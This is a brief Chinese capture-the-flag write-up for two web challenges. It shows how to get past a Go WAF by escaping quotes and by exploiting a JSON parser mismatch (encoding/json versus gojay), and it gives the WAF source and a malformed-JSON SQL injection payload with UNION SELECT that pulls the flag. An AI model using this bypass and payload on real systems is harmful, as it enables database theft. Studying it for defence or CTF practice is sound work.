ChadCPT
SQL注入,有两解
1.
WAF将'和"转义,以replace形式将'替换为\',转义不完全,可以分别使用\'和\"代替
2.
注意以下代码:
waf:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 
 | func trySanitizeJson(r *http.Request) (bool, []byte) {var j any
 var buf bytes.Buffer
 tee := io.TeeReader(r.Body, &buf)
 defer func() {
 r.Body.Close()
 r.Body = io.NopCloser(&buf)
 }()
 if err := json.NewDecoder(tee).Decode(&j); err != nil {
 return false, nil
 }
 
 j = safeJsonStringValue(j)
 newJsonBody, err := json.Marshal(j)
 if err != nil {
 return false, nil
 }
 
 return true, newJsonBody
 }
 
 func main() {
 ph := os.Getenv("PROXY_HOST")
 u, err := url.Parse(ph)
 if err != nil {
 log.Fatal(err)
 }
 
 rp := httputil.NewSingleHostReverseProxy(u)
 http.HandleFunc("/", func(writer http.ResponseWriter, request *http.Request) {
 ct := request.Header.Get("Content-Type")
 if ct == "application/json" {
 san, newJsonBody := trySanitizeJson(request)
 if san {
 request.Body = io.NopCloser(bytes.NewReader(newJsonBody))
 request.ContentLength = int64(len(newJsonBody))
 }
 }
 rp.ServeHTTP(writer, request)
 })
 log.Println(http.ListenAndServe(":5001", nil))
 }
 
 | 
在waf中,如果json解码失败waf会代理请求,以此为突破口
继续查看源代码,发现waf使用的是encoding/json而app使用的是github.com/francoispqt/gojay,对于json的处理不同
可以构造这样的json:
| 12
 3
 4
 5
 
 | {"maxTokens": 123,
 "q": "asd'OR 1=2 UNION SELECT flag FROM flags -- ",
 asd
 }
 
 | 
这个json不会被waf原生的库解码,会进入代理被gojay解码,完成sql注入
GigaChadGPT
还是SQL,上一题升级版,WAF升级为白名单
只考虑json解码,同上